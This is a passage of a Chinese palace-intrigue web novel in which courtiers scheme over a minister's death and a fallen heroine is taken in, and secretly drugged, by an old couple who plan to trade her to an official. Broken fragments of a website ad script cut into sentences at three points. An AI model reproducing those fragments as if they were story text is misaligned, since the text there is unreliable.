一纸诏书,婚约作废。 自此,乐家女便承接恩宠,君王雷霆雨露均是天恩。 宣贵妃的眸子骤然黯淡下来,她固执地摇了摇头:“承影没理由杀他,你多虑了。” 孟询见她有意为裴谦说话,刻薄道:“确实,那一晚他也玩得开心极了,扔进脂粉堆里连人影都见不着了。” “一开始便是他主张弹劾户部尚书李素,他倒是办事利索,两头都不着地,崔家得罪了,父皇这边也不讨好。” 裴谦不要命的进谏,把手伸进皇帝和世家的钱袋子,摆明了就是想撂挑子。 太子阵营如坐针毡,恨不得马上装作不认得裴谦这号人。 他倒是冠冕堂皇地全身而退,顶多扣半年俸禄,可查账的事便搁置了再搁置。 据说李素已经私下里与裴谦握手言和了,居然还真拨了银子,达成了什么密约都未可知。 显而易见,裴谦已经在为自己铺垫退路,他更偏向于世家大族的庇护。 宣贵妃脸色一沉,抓起书案上的笔便便下边的孟询身上扔:“你还敢提你父皇,你鲁莽冲撞,将荆家的兵权强行收了回来。别以为你的那些小动作我没看见,和荆家那个上门女婿勾肩搭背的,狼狈为奸。” 是了,荆玉兰和王家郎君的死,只是通往权力之路最不起眼的垫脚石。 孟询打一开始就没打算与荆家结党营私,他的第一个念头是取而代之——吞并总比处理关系方便得多。 “是他们自己太蠢,我不过是虚与委蛇,他们自己当真了罢。” 他这话不说还好,一说便真的令宣贵妃火冒三丈。 她继而将桌上一碟信笺都抽了出来,重重拍到书案上:“蠢货,我还以为是什么天大的好事,荆家的那几个兵能做什么!拉进巡防营都人家管事的都嫌瞎折腾,结果还得跟王家分一杯羹。你就那么着急,以前也没瞧着你多有能耐啊。” 孟询私下里同王家有些往来,他还曾吩咐过裴谦,找荆乔松要一下郢都布防图。 荆乔松两边讨好,居然还真给了。 俗话说柿子要挑软的捏,荆家可不就是这颗软柿子么,还是一颗自以为是的软柿子。 “那也是郢都正规的编队。”孟询安安稳稳伸手接住那支紫豪笔,面子上有些挂不住,“采取必要的手段罢了,我不能坐以待毙。” “那是你父皇的人,将后来是留给太子的,你就这么朝荆家下手,你父皇会如何想。” 宣贵妃深吸了口气,冷静再三,缓缓开口道:“你以为同王家与虎谋皮,实际上是给人当替死鬼,六殿下,你应当听国公的,早日脱身郢都的这些权谋算计。” 但他最不应该的就是动了父皇的人。 孟询惊出一身冷汗,贵妃能看到,岂不是意味着许多人都能看到。 这件事情上,他确实僭越了。 孟询口气稍作委婉,抱怨道:“事到如今我还有什么办法,也不至于跟太子殿下撕破脸吧。” “不要在你父皇面前自当多谦逊,不要无生事端。你太子哥哥也不是那样气量小的人,好自为之。” 宣贵妃指尖落在朱砂笔圈起的人名上,道:“李素之死,户部尚书位置空悬,你不如多花些心思关注一下,你父皇器重哪些人。” 孟询百无聊赖地端起茶盏,掀起杯盖揩了揩茶沫子:“无外乎是寒门和世家里面选,还能编出什么花来。” 宣贵妃恨铁不成钢道:“圣上的每一个决策,关乎着郢都的瞬息万变,你倒是说得轻巧,若是叫你来选,放眼整个朝堂你会选谁?” 李素一死,整个朝堂的格局也随之发生了隐晦的变化。 崔家定然不会轻易善罢甘休,然而这样的好事,底下不知道多少人家都眼巴巴瞅着。 寒门尽管一无所有,既无家族势力的加持,又无钱财田地傍身,但一衣一食都是天恩,为谁办事不言而喻。 “要么是选一个极有争议的,要么就选一个挑不出一点毛病的。”孟询道,“以前或许偏向于在书院里选一些人,如今看来,圣上也是举棋不定。” 大盛的选拔官员的制度单一,靠着公府辟举和州郡辟举,定期给朝廷输送新鲜血液。 原本是为各州府的庶人提供入仕的机会,后逐渐被氏族垄断。 人脉与学识均为入仕的考察标准,那形中书院便是天下寒门学士唯一入仕的途径。 只是世间万般事都不尽人意,往往都要与初衷相背离,如今的形中书院也几乎形同虚设,走出来的多半也不是什么寒门君子,更多的是世家沽名钓誉之辈。 红墙高耸,雕栏画栋。 院子里碧浪漾漾,花香馥郁。 裴欣一路走过熟悉又陌生的庭园,七拐八绕地顺着回廊走进了一处绿藤环绕花团紧凑的院子。 拱门上的石灰已经开始脱落,露出岁月斑驳的痕迹。 国公爷盘着腿坐在榻上,他散漫之际,不忘记把衣襟扯了扯,遮掩住锁骨下的伤痕。 那人咬得挺重,牙印的形状比较整齐,像一块小小的松糕。 他哑然失笑,眼前似又浮现少女倔强的脸庞。 他姿态闲散,不时拈一颗葡萄,雪白的手指缓缓剥开深紫的果皮,红唇白齿咬开碧绿的汁液。 这样的人儿啊,怎么看怎么好。 怎么就是找不到适宜婚娶的姑娘呢!真是愁煞人。 裴欣开始自省,是不是现在的小姑娘不喜欢这样的浪荡样。 “你莫不是一身骨头太轻了,坐得这般招人嫌。”裴欣冷哼,满眼的疼爱和怜爱此刻变成满腔嫌弃。 裴谦不敢吱声,赶紧端正起来,正襟危坐:“怎么都没人通报一声,阿姐你这亲自回来,我这也没什么准备……阿姐,是有什么事?” 裴欣单枪直入,朝他亮了亮黄金赤龙腰牌:“奉旨,督查要事——李素之死与你有什么干系?” 裴谦一见着那件腰牌,心中顿时一激灵,那双狡黠的眸子乌黑发亮的,估摸着也知道了圣上的打算。 “怎么还查到亲弟弟这儿了,按理来说不是该避嫌么?”他问。 “我也是这么回禀圣上的,但是圣上说我公正严明,定然不会徇私枉法,一切按照文书规章走。” 裴谦接过黄金腰牌,端详一阵,欣然道:“看来皇上已经想好了人选,阿姐,你要升官了。” “我来就是为了与你商议此事,这一趟浑水,我们不能掺和。”裴欣目光决绝,她眼底流露出遮挡不住的疲惫与忧愁,好似一场狂风 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 骤雨的前夕。 浓愁不化,深入骨髓。 “女子入仕,是件稀奇事。但阿姐,于你而言并非难事。” “阿姐,你不要担心我,我在郢都过得很好,无外乎就是做一些闲散的活。” “树大招风,我就害怕,你……”裴欣话到嘴边却欲言又止。 怎么会不怕呢,她这唯一的亲弟弟以身入局,她不敢想裴谦会卷入那些理不清道不明的风云中。 “覆巢之下,焉有完卵。”裴谦继续捡起一只青桔子,手指雪白,不急不缓地剥着。 “父亲那个时候,险些连尸骨都运不回来,他与母亲为这江山付出了所有,就算是隐退了,在郢都当一个可有可无的闲散人,结果还是屡受猜忌。结局你也看到了,我们家只剩下我们两个人了。” “阿姐,你从小教我明哲保身,可我怎么会不恨呢。”裴谦轻描淡写地笑了笑,将这郁结于心的话倾倒开来。 心胸中有一股说不出的畅快。 裴欣心道,果真是太久没同这孩子谈心,现下都长大了,完完全全地有自己的心思和谋划了。 “李素死了正好,物尽其用,也不指望他有别的作用了。”裴谦补充道。 裴欣直皱眉:“你本来就身体不好,不要操多余的心,该做的我会做,不会有顾忌的。” “阿姐,我总感觉我是你的累赘,可是我不是你的累赘,我就害怕听见你说那些丧气话,说什么为了我、为了我们裴家不上进、不找夫君。”他认真地看着裴欣,目光恳切,像一只渴望求得认可的花白小狗。 “小崽子,还敢编排起我来了,腰牌拿过来,李素跟你没关系我就回去了,我来的路上还想着怎么替你徇私枉法呢,看来都是我多虑了。” 门上纸窗黑影轻晃,有人轻叩大门,室内姐弟二人噤声。 “主子,要事禀报。”云沧海朝裴欣行礼,“裴大小姐安。” “我也是没什么事要交代了,小海,你替我好好看管着国公爷,莫让他胡作非为。”裴欣莞尔一笑,站起身来整理了自己的下摆和腰封,“这次的事,趁机也是让你脱身,不要掺和在太子和世家中间了。” 裴谦赏了他半只桔子:“怎么样了?” 云沧海捏着半只桔子,神色有些凝滞,他道:“那姑娘出了城,便莫名其妙地消失了踪影,加上下雨,我们跟丢了。” “我是说吧,到时候,你不一定追得上人家。”裴谦嗤笑,略略表示了一下嘲讽之意。 云沧海继续道:“我们天亮了上山,发现有一个山洞,生过火,有人住过的痕迹,估摸是两三个人的样子。我们跟着脚步往外走,发现往林子深处走脚步越发凌乱。” 确实出乎寻常,都出了城,巡防营的人如何会追到城外三十里外的郊区。 云沧海表情有些复杂,低声道:“似是有另一支队伍也在追捕。” “最后呢?” “我们跟着痕迹追上去,发现路的尽头是一处悬崖。” 荒山野岭,在断崖处。 “步履深,动作训练有素,步伐整齐,留有黑鸱印,是王家的人。” 发生了什么不言而喻,黑鸱军是王家麾下的人马,从不在公开场合露面。 “有意思了,说明王家一直都在关注她的动向。不仅是她,连带着我们,一举一动都在他们王家的监视之下。” “属下不力,还望国公爷责罚。” “与你们无关。”裴谦摆了摆手,语气冷清决绝,简直比玄铁还硬气,“让兄弟们去天香楼,李素不在,天香楼该换新主人了,谁都可以是天香楼的新主子,唯独王家不行。” 裴谦早便猜测,身边出现了那些世家大族的细作,只是疑心并无实证。 如今那王家的黑鸱军的出现,也算得上是裴谦猜测的佐证。 “让你去天香楼爽快了那么多天,总得有些收获吧,趁机抓几个呼和兰的细作,让他们那些真心想要天香楼的人好好操心去。” 26. 目的不纯 涧溪在深山中穿行,一条蜿蜒曲折的河流自上而下缓缓流淌,翻山越岭。 一团黑影蜷缩着躺在溪边,水从她身侧流淌,自上而下地冲刷着岸边的鹅卵石。 面色笼罩愁云的老阿婆背着竹篓,用一根竹竿子把水边上的黑影捅了捅。 “你……姑娘,你还活着么?” “……” 安楚被戳得翻了个边,倒在水里软绵绵的,像一块泡发了的白面馒头。 四周水鸟惊飞,乌鸦也常在半空盘旋。 石壁坎坷不平,挂着参差不齐的藤蔓。 水声哗哗作响,将少女脸上的乌发冲散,漾在水里,像一片茂密鲜活的水草。 老阿婆俯身,伸出枯树枝似的手,将少女的脸蹭了蹭,撩开脸上的泥渍和粘连的发丝,看清楚脸后不由得心中一惊。 再触了触鼻息,还有气儿! 生得不错,与东家的大小姐年纪相仿。一想到这儿,老阿婆心中一喜,自己的女儿有救了。 她个子小小的,身形槁瘦,使出吃奶的劲将昏迷少女拖至岸边,在岸边的歪脖子树下生了一堆火。 老阿婆开始细细检查起少女的身体,四肢健全,好手好脚的。 她暗自点了点头,非常满意。 当她的手刚触及少女的衣领,少女却骤然睁眼,眸眼深沉漆黑,虽是意识混沌,但出奇警惕,像一匹蓄势待发的狼。 “住手。”她谨慎抽手,将自己胸前的衣领裹好,目光凌厉,丝毫不退让。 老阿婆伸出去的手哆嗦了两下:“姑娘你可算醒了,是我把你捞上的,你别害怕。” 少女半信半疑地皱眉,看着眼前的老阿婆,衣着朴素,一身粗麻衣裙,确实不像什么作奸犯科的恶人。 老阿婆试探性地问道:“你还记得……你是怎么掉下来的么?怎么会出现河里?” 少女也不知自己为何这么暴躁,警惕心好似刻在骨子里,她审视着周围的一切,只觉得心头一片白茫茫的。 她迷失在漫天大雪里,地上找不到任何踪迹。 安楚没想到从那么高的地方掉下来,居然还能活命——时鸣最后关头拖住她,将她往上送了送,用自己的身体换回她的安全。 她正好挂在峭壁伸出来的松柏枝上,虽然最后那根树枝也断了,但起到了非常好的缓冲效果。 时鸣失踪了,她当时努力睁开眼,却看见他也挂在一截葱郁的藤蔓里,只是那枝条脆弱,人随之缓缓下滑,人体下行滑进了那一处嶙峋的裂缝里。 “我……我不知道……”她小声回应道。 鼻子却一酸,眼泪就淌了出来。 她也不知道她为什么会落到这般田地,坠崖?这太可笑了。 不久前她还是足不出户的大小姐,再怎么说也是待嫁的深闺少女,与这些莫名其妙的追杀八杆子都打不着。 可是为什么? 这跟那个乞儿有什么关系,竟为了救她白白送命。 安楚的手脚冰凉,几乎快失去知觉。 愧疚和懊恼铺天盖地朝她涌来,她咬紧牙关,不再愿意掉泪。 她要揪住追杀他们的人,以牙还牙地报回去。 手脚并用爬到了水边,少女怔怔地看着水波中摇曳的影子,缓缓抬手,将脸上多余的东西洗掉。 影子清晰地倒映在一汪碧水之中,皎皎月色落入水中,宛若落入一颗硕大的夜明珠。 她俯身捧了一手清水,仔仔细细地抹了一把脸,将脸上狼狈的血迹和泥点冲刷干净。 水面折射着雪白的亮光,银霜镀了她满身,飘飞的月色似蒲公英,落在她的衣袖上、脸颊上,连同着沾血的手指,无声寂静。 她跟着老阿婆沿着溪流往下走,路竟然越走越开阔。 “你且在门口等着,我进去叫人……”老阿婆嘱咐道,她安抚性地拍了拍安楚的肩,“你不要害怕,我们家只有一个女儿,多养一个也是养得起的,相逢即是有缘,没地方可去老婆子我收留你。” 安楚愣愣地看着眼前的老人,头痛欲裂,却又不得硬挺挺地站着。 她勉强露出一丝微笑,温声道:“好。” 合上门,老阿婆面色一沉,直直往里堂走去。 “老头子!快出来!我领了个姑娘回来!”老阿婆伸手, 老头儿正在院子里称草药,听见这话恨不得拍案而起:“什么!我们租的地都没法子交税金了,你还往家里带人,老婆子你是脑子给驴踢了么?” 老阿婆噘嘴,抱怨道:“哎,你老糊涂了,咱们闺女不是还缺着人么,把她送过去给咱闺女,那问题不就解决了么。” 老头儿心生忧虑,摸了摸花白的胡须:“她是哪儿的人,不会是什么有头有脸的人家跑出来的吧?到时候有人来找就麻烦了!拐卖人口可是重罪!” “不会有事的,咱们上报官府,说是收留的难民,把户籍落到咱们家,到时候莫非是花钱买,不然我们也不可能放人。”老阿婆摆了摆手,笑逐言开道。 老头儿嘶哑着嗓子,低声叫道:“这几天官府一直在搜人,你哪知道她是不是那个通缉犯!” 老阿婆恨不得直拍大腿,生怕错失了良机:“哎呦,我瞧了那张画,那上边的女人跟我碰着的这个不一样!这河边上捡的女孩生得老水灵了,绝对跟妓院里的那些胭脂俗粉不一样!” 见老头儿不做声了,便继续开劝道:“她看着……八成脑子撞傻了,也不记得发生了什么,我怀疑是私奔的男女,这男的八成是临阵脱逃了,也不是什么大事,嫁谁都是嫁,你就弄点药,把她继续喂着,到时候让她去姑娘那儿。” 老头儿一家晚年得女,掌上明珠一般养着。 近些年嫁了户落魄的官宦人家,到底是高攀了,老头儿一家欢喜地不得了。 那户人家三代单传,只有一个儿子,上不上进姑且不管,家里有些小钱便耐不住寂寞,就爱在青楼找些乐趣。 前些日子好不容易戒了隔三差五逛窑子的恶习,结果哪知道是听了富家纨绔的忽悠,在家里哭着闹着,非要上什么形中书院。 那学院哪是他们这样的普通人上得起的,非但有人脉和家室才能介绍得进去。 那些纨绔们给他支招,想的尽是一些馊主意。 贿赂书院管人事的,出上一大笔钱。 当然,这个钱自然是要姑娘的娘家出。 老头儿家早些年是采草药的,如今嫁女儿攒了点小钱刚开了酒坊,日常赚不了几吊钱,怎么可能付得起? 于是那边又出了个馊主意——书院负责招生的官,家里管得严不能上秦楼楚馆,但心中的小九九从未被打灭,只能等着旁人送上门来。 结果就是盘算着让老头儿家的闺女作陪,显得有诚意。 如此荒谬绝伦的要求,没想到好夫婿一家居然同意了,还威胁强迫着闺女硬要她去。 “你家闺女嫁过来这么多年,又没生个一男半女的,有什么脸面赖着?” 老头儿老太太知道了气得不轻,可是又没办法反抗,那边宅子放狠话,说闺女不愿意就要被休弃了。 如果真的休妻,他闺女这下半辈子只能找根绳子去吊死了。 这下好了,现在看来有合适的人选了。 “姑娘,你就住在我们家,我们顶多添双筷子的事,你不要有心理负担。” 老阿婆一脸慈爱,拉着安楚冰冷的手反复确认 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' :“我家老爷子会点医术,让他给你好好看看,吃些药养养身体,找人也得养好身体再找哇。” “你一个姑娘家的,在外头也不安全,四下都是流民,荒山里还有山匪,你就安心在我们家住下吧。” 安楚嘴唇微微翕动,欲言又止。 她望着桌上那碗冒着热气的汤药陷入了沉思。 在老阿婆热切期许的目光下,安楚将那酸涩发苦的汤药一饮而尽。 与此同时的郢都,表面一片风平浪静,底下却如热油调烹。 下朝。 皇帝昏昏欲睡,瞧着精神欠佳,前些日子病了一场,元气大伤,想来也不是一时半会儿能修整回来的。 强撑着听完大臣们的谏言,下了一纸诏书。 诏书一下,众人这才想起楚国公府早年送入宫闱的长女裴欣。 那个入宫为质的少女,如今居然能在男人的地盘争得一席之地。 孟询半天没回过神,讶异于父皇的决策,果真是选了一个意料之外的人。 太子殿下脸色阴沉,自然也没什么空搭理其他人,与裴谦打了个照面便匆忙离去了。 这也太羞辱人了,倒是哪边都没讨到好,反倒让一个无关紧要的人——还是一个女官当了户部尚书! “楚国公,多日不见,眼下真是风光无限,果真是英雄出少年。”崔玉涛在这种场合还是展现出作为长辈的慈爱风范。 裴谦莞尔微笑:“崔大人哪儿的话,又不是我本人新官上任,家姐可比我出息多了。” “谦虚了不是,贤姐儿上任,你这个做弟弟的不风光么,还有你楚国公府的门楣,你和贤姐儿一块儿承托着。” “裴家一下子出了两个有出息的后辈,真是羡煞众人,老国公和郡主地下有知,定然欣慰不已。” “大人,您抬举了。” “自然,我来看看楚国公家的姐儿,如今可不能这么无章法地叫了,那可是裴大人。” 不再是后宫中执掌流水、管着脂粉铺子的小小女官。 “老大,我准备了贺礼,你从前最喜欢的西北玄冰铁,老正宗了!我自己都没舍得用,留着打给阿欣姑娘打一对袖箭……”于思宽大老粗的嗓门,人未至而声先到。 孟昭抬脚,迈出正午门的门槛,一面嬉皮笑脸地打趣着:“你这大老粗的玩意儿,人家金枝玉叶的姑娘,能瞧上么。” 于思宽咧着嘴:“九殿下是嫉妒了罢,你找我讨了多少次我都没舍得给。” “于将军,真是费心了……” 裴谦游走其中,如鱼得水,游刃有余。 他自然地穿梭在权贵中间,谈笑风生。 王云策脸上带着一股慵懒又神秘的笑意,抄着袖子,玉雕似的立在一旁。 这人衣着华丽,在穿衣用香上颇讲究,分寸之内必有输赢。 他并不上前,只是遥遥地朝裴谦打了个招呼。 王家的公子,长房长孙,与他同辈。 那眼神交接的刹那,就像是两只争食的狐狸相互撩拨。 “下一步呢,该要轮到你自己了吧。”王云策语气稍带嘲意,“平步青云指日可待啊。” 他声音压得极低,只有裴谦一人能听见。 “为了争权斗势,把自己的亲姐姐都推出去了,真不知道这权势名利有什么好的。” “那你们争的什么,不如上书致仕,该回哪儿去回哪去。”裴谦抬眉,眼波流转冷光泛滥,“圣上圣明,看重德行和才华,这才提拔家姐入中书省,王大人不满意就拢着御史台往上进谏,等你们告出名堂,我才是真的服气。” 二人目光相碰,正如兵戈森然相撞。 谁都不肯退让。 27. 利刃出鞘 随之而来,郢都开始发生翻天覆地的大变化。 换而言之就是——这里边都没有安生过日子的人。 崔家上书,拉着一群文臣进谏,必须要找出谋害李素的凶手。 皇帝能有什么办法,户部尚书的位置已经给出去了,圣旨下了哪有收回的道理。 崔家的既然这么强硬,彻查也非难事,皇帝便卖了个人情。 这查不要紧,可这一彻查许多人都被打了个措手不及。 皇帝的羽林军成群结队、飞檐走壁潜入李府,险些没把眼睛闪瞎。 当然,这还不是关键,最要命的是,羽林军还查到了李素同北方的呼和兰有厘不清的干系,那可是叛国通敌的大罪! 李素在位多年贪赃枉法,卖官鬻爵,受贿金额巨大,牵扯人数众多。 他人死了不要紧,可活着的人还在皇帝的眼皮子底下呢。 与这样的人结党营私可是死罪啊! 俗话说人要低调,闷声不响发大财,可世家豪门都横行惯了,仗着祖上的荫德为所欲为。 积弊已久的郢都,从根部腐烂,悄无声息地蚕食着皇权的印玺。 皇帝年迈,能做的有限,但最要紧的还是眼下的唯一一件事,就是为自己的太子清除继承大统的所有障碍。 于是乎,由李素之死为开端的肃清轰轰烈烈地打响了。 皇帝几乎不费吹灰之力将李素一派一网打尽——毕竟这些年,谁跟李素没点来往呢?只要是在郢都的官场里混,雪花银是必须送到位的。 那一段时间,两位大臣抡开袖子吵架,最恶毒的话莫过于:“你是李素同党吧!” 而最出乎的是,裴谦成了查案的主审人兼执行人,一时间裴家势头大增,俨然成了郢都新贵。 午后,形中书院。 那座山绵延千里而不绝,在郢都四周包围着,似是一堵天然的保护屏障。 书院僻静,在曲折的幽径里藏着一座小院。 茶香袅袅,竹帘在清风中散漫摇晃。 院子里半边洒着日光,垂柳依依,枝条随风起舞。 男人披发而立,手上持着一卷书,嘴里似有似无地念叨着什么。 “又得了好茶,巧不巧还正给我赶上了。” 那人笑声浅浅,传入窗帘门户,似随风而动,激起满院花香。 “国公爷,好久不见。”赵裕昌起身,修长的身影落在身后的青墙上。 “确实好久未见。”裴谦笑意晏晏,玉白银竹长袍流水般拂过深青枣红的木长廊,衣角带香,沾染着斑驳迷离的明艳花粉,骤然风起,整个人都似笼在繁花里,此人玉容令群芳失色。 “明月来投玉川子,清风吹破武陵春。”他含笑伸手接过小厮奉上的茶盏,笑意绵绵,“煮了好茶,也不叫我,怎么如今生分成这样。” “半壁山房待明月,一盏清茗酬知音。”赵裕昌假惺惺地走远几步,将手里的书卷放下,“你倒是会挑时候,藏了多久的好茶,今日一烹,像钓鱼似的,一钓一个准。” 他走到引泉处,将手仔细地洗干净,晶莹的水珠在脚边坠落,在光下折射着灼眼的颜色,浅浅洇染着他的袍角。 裴谦轻笑一声,随即道:“赵院长这不是开春忙着,我要是不识趣地上门打搅了,到时候你招人这个不选那个不要的,我不就成了从中作梗的恶人了?” 小厮低头退下,无声中院子一个人都不剩。 四下无人,鸟鸣惊心。 竹影绰约,随风阵阵。 赵裕昌负手立在竹林前,绿柳柔软曼妙,日光透过林隙落在他的眉间,点缀出斑驳难明的神色。 他嘴角噙笑,语气颇为苦恼 :“你……我听说,圣上要你执掌书院,那岂不是意味着我要卸任了,这下好了,我要是赋职了,你这院子必须留给我。” 裴谦随手捡起桌上的折扇,把玩了两下只觉得无趣,“啊,不是,赵院长在哪儿听说的,都是道听途说。书院离了你,那不是成了一具空壳?” 赵裕昌颔首,打趣道:“怎么说呢,有一种小人得势的感觉在里头。哈哈,小裴,你成小人了。” “前些日子,泰安殿的娘娘宣了御医诊脉,说是有身孕了,皇上喜不自胜,竟在殿前摔了一跤,正好磕在丹陛石上。” 裴谦低头喝茶,继续听着。 “传召太医院的陈院判,然后五殿下以为是皇帝病了,第二天连朝都不上了,火急火燎地跑去了勤政殿亲侍汤药。”赵裕昌唇角掀起一抹嘲意。 简直是愚不可及,那不是昭告天下人,勤政殿有他五殿下的眼线么。 安排眼线是为了做什么?是为了接位么! 如今陛下年事已高身体一日不如一日,几乎所有的皇子和氏族都瞄着勤政殿的风吹草动。 皇帝虽口头上没说什么,但是心里既不痛快,明褒暗贬地削了五殿下孟基的藩地,赐了个虚头巴脑的将军名号,把他弄到东海那边驻守,非郢都传召不得回。 至少这三年,孟基都不会出现在郢都了。 “泰安殿?宣贵妃有身孕了?”裴谦皱眉,眼神冷了几分,透着冰花似的寒意。 真是多事之秋,这若是多添一位皇子,又不知要生出多少事端。 心中涌起一股烦躁之意,春光天晴,云光万里,裴谦眼底却只有一股惨淡愁云。 “王家知道了,怕不是比陛下还高兴。”赵裕昌闷声笑了起来,“要知道,拥立幼主要比扶一位平庸又自以为是的皇太子轻松得多。” 他这话说得直白,却非常实在。 裴谦语气轻描淡写:“这话,也就只有在我跟前说说罢。” 手指轻敲桌案 ,盏中清亮的茶汤微微泛起一圈圈涟漪。 “你裴谦如今站在风口浪尖上,许多人欲除之你而后快,你呀你,长点心吧,别稀里糊涂的把命给丢了。” 裴谦并非横空出世的贵族,他的生母是当今圣上的亲姐姐。 按地位按血缘,他是最有资格给孟家当执刀人的,又是最有资格当乱臣贼子的。 可他偏偏当郢都花楼的风流客,学的一些剑式杀招全成了不入流的舞剑把式。 如今陛下突然启用他,看似三千繁华候着他,实则是深不可测的龙潭虎穴等着他。 赵裕昌与他相识甚早,可以 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 说裴谦对他有知遇之恩。 高山流水遇知音,有伯乐识得千里马,这两件事是大多数文人雅士毕生之追求。 赵裕昌不用毕生追求,只需要遇上裴谦便足矣。 他见证裴谦的意气风发,见证他的风流浪荡。 也见过当下的虚与委蛇。 “我不曾更改过我的意向,赵先生,我现在等您的答复。”裴谦收回目光,微微颔首,抿唇的模样甚是严肃。 赵裕昌敛了笑意,同样一板一眼地回答道:“自然是同你一样,不然我还不如在西市街头卖鸭子呢。” 无须多言,不言之意尽在其中。 安楚每天都上山采药,她倒也不是心安理白吃白喝的人。 这几日惠风和畅,晴空万里。 自从那场雨下干净了,山谷河间一派清明。 她背着竹篓,撑着半人高的朽木登山杖在林间穿梭,一边寻找时鸣的踪迹一边摘草药。 “我有一位叔伯,他教过我,虽然不多,但是一些益气补血的药我还是认得的。” 她走在林间心情舒爽,若是没有早晚那一碗令人痴傻的药就更舒爽了。 她试过的毒比寻常人半辈子吃过的饭还要多,更何况还未下肚便都悄悄吐了。 老头儿一家见她老实憨厚,还帮着做活计,心中多少有些过意不去。 安楚每日早出晚归,老阿婆心中多有忧虑,生怕人跑了,但转念一想,如今世道,小姑娘家家的,跑出去了也没个地方安生,不怕她跑。 她每每回来,便能背一大篓的草药,常见的不常见的,一应俱全。 老头儿看得两眼放光。 “这个,这个,还有这个!”老头儿颤颤巍巍地举着那几根草,眼神中流露出精光,“都是你采的?” “开春正是长这些东西的时候。”安楚淡声道。 “你这个小丫头片子,我问问你,这个是什么?” 安楚没抬头,挑拣着竹筐里破碎的、完整的药草,将其分类:“紫玉参,别名紫血,气血亏损的人最是需要,切片入汤熬成浓汁,装于小瓶密封而存,每次清晨饮水滴入两滴,常年饮用则可延年益寿强身健体。” 老头儿斜着眼,举起一只脏兮兮的草根子又问道:“这个?” “这个就常见了,既可用药有可入食,闹饥荒的时候得靠这个,叫玉观音,根部无毒可食用。” 其实安楚的意思很明确,她还是大有用处的,不要轻易对她下手。 下的毒她不是不知道,但是她选择不说是各自留有余地。 “这个……”老头又扯了一根。 “这个是给您治咳疾的,您胸闷气短,呼吸里带着杂音,说明肺上有沉疴,需要一些凉性化痰的药,如果您信得过我,我为您开药。”安楚目光沉稳淡然,好似在说一件极其平常的事。 老头儿的咳疾已经是多年的顽固病,他自己之前也是晒草药开医馆的,可还是束手无策。 这姑娘居然能有法子治好他? 不对不对,关键并不在此—— 老头儿震惊了,老婆子不是说这个姑娘被石头磕傻了么? 28. 国公遇刺 “该死!裴谦——他算是什么东西!王八羔子的,敢在我面前颐指气使!我呸,老子当初在巡防营的时候,他还不知道在哪儿玩泥巴呢!” 照壁辉煌,如黄金浇筑,版面浮雕精致,青云盘旋,有展翅之金鹏。 大宅子里边的奢侈繁华,一墙蔽之,将尘世与仙界区隔开来。 王策云听见庶弟的咒骂声,不由得叹了口气,迈进门槛,一旁的家丁扑通一声便跪在了脚边。 “大人……小人实在是拦不住啊!他就这么闯进来了!”家丁欲哭无泪。 王思闯莽夫一个,出了名的悍将,从前跟着裴谦的父亲做监军,后来放到下面的军队历练,说白了就是送去管军队里押送辎重的,实打实的后勤部队。 这本身不是什么坏事,毕竟培养名将确实是这个流程。 问题出在王思闯这儿,他觉得老国公不待见他,这才叫他做这无关紧要的后勤保障。 按理来说,辎重是部队命脉,后勤是否跟得上决定这场仗是否顺利。 但王思闯上不了战场,心中各种不痛快,最后延误了战机,累赘了一大圈子的人。 当初都苦口婆心地劝着这位二少爷,王家正缺着能带兵打仗的好苗子,这下好了,只能留在郢都巡防营当小小的营长了。 王氏可是簪缨世家,门下的子弟从未受过这样的窝囊气,可偏偏这王思闯不争气,和一众武将闹得不可开交。 自己将自己的武将之路断送了。 白墙灰瓦,亭台楼阁。 一阵一阵的骂声惊起湖心一滩白鸟,王策云心中本是烦闷。 如今瞧着这蠢货上门来投诉,不由得心情大好。 “稀客,思闯怎的生这大的气。”王策云唇角挽起一个标准应酬的微笑,让人挑不出任何毛病。 王思闯一见兄长来了,腰板儿都挺直了:“李素死了,裴谦居然要我带人去通缉逃犯,好事记不得我,吃力不讨好的事非要我去干!说什么非要巡防营拨人给他,我气不过与他争论两句,他还想出手打人……” 王策云想都不用想,这傻子又说了什么激耳朵的话,让裴谦实在忍不了了这才要打一架—— “你就是管郢都巡防事务的,在你管辖的地区死了人,圣上怪罪下来你肯定又要受罚,好弟弟,他那是好心知会你,你怎的还好坏不分?” 王思闯听了,有些不好意思地嚅噎着:“还是不他……” 王策云叹了口气:“我知道你不喜欢他,你手下带的人多半也不喜欢他,但是你能不能稍微想一下前因后果。” 王策云招手,示意小厮上茶:“我看你们越发没规矩了,二少爷来了也不知道看茶。” 小厮们鱼贯而入,将点心茶水一一奉上。 王思闯闭上了嘴,看着玲琅满目的小点心不由得口水直下三千尺:“大哥,你们这些……小点心都是哪儿买的。” 王策云看着这个比自己小不了几岁的弟弟,嗤笑道:“出息。” “小厨房做的,你喜欢就让厨子去你房里,给你做一个月。” 王思闯很受用,挨着就近的板凳就坐下了:“还是长兄这儿的糕点最好吃!” 王策云不知说什么好了,看着这个傻兮兮的弟弟心中感慨万千。 人什么时候能像他这样,好吃的点心就能哄住,那才算是活到位了。 三千烦恼,不及一块点心。 “……”王策云默默叹了口气,“吃完了赶紧回去吧,我与叔叔有要事要议。” 王思闯笑嘻嘻地左右各端了一碟酥饼和梅花糕,乐呵呵地出门去了:“那你和叔叔先忙,晚上也不用管我了,我和朋友去酒肆喝酒去。” 真好啊,年轻这般,才上了几年朝,拜了几年官,人竟如此沧桑。 王策云由衷羡慕起弟弟的开朗,望着桌上撂的半块枣花酥心中泛起微微的苦涩。 他作为家中长子,为长为嫡,无论如何也做不到他弟弟这般随心肆意。 “砰”—— 茶盏翻倒,热茶一溅。 王隐紧握着拳头,扁平的五官浮着一层懊恼和焦虑:“这也是任谁也没想到,那裴谦手眼通天,在陛下面前妖言惑众,如今还重新执掌形中书院,要知道朝廷要员多半要从那里边出来,这岂不是让他抢了风头。” “裴谦向来不是争强好斗的人,如今怕是有什么变故,陛下这才着急忙慌地退让一步。”王策云道。 “我看他是要当下一个李素。”王隐脸色阴晴不定,眉峰成峦,半天舒展不开,“他在崔家、太子还有圣上,三方游走,还游刃有余,怎能让人放得下心。” 王策云开门见山道:“下一个李素?若是当下一个李素,我们倒也不必忧心。” 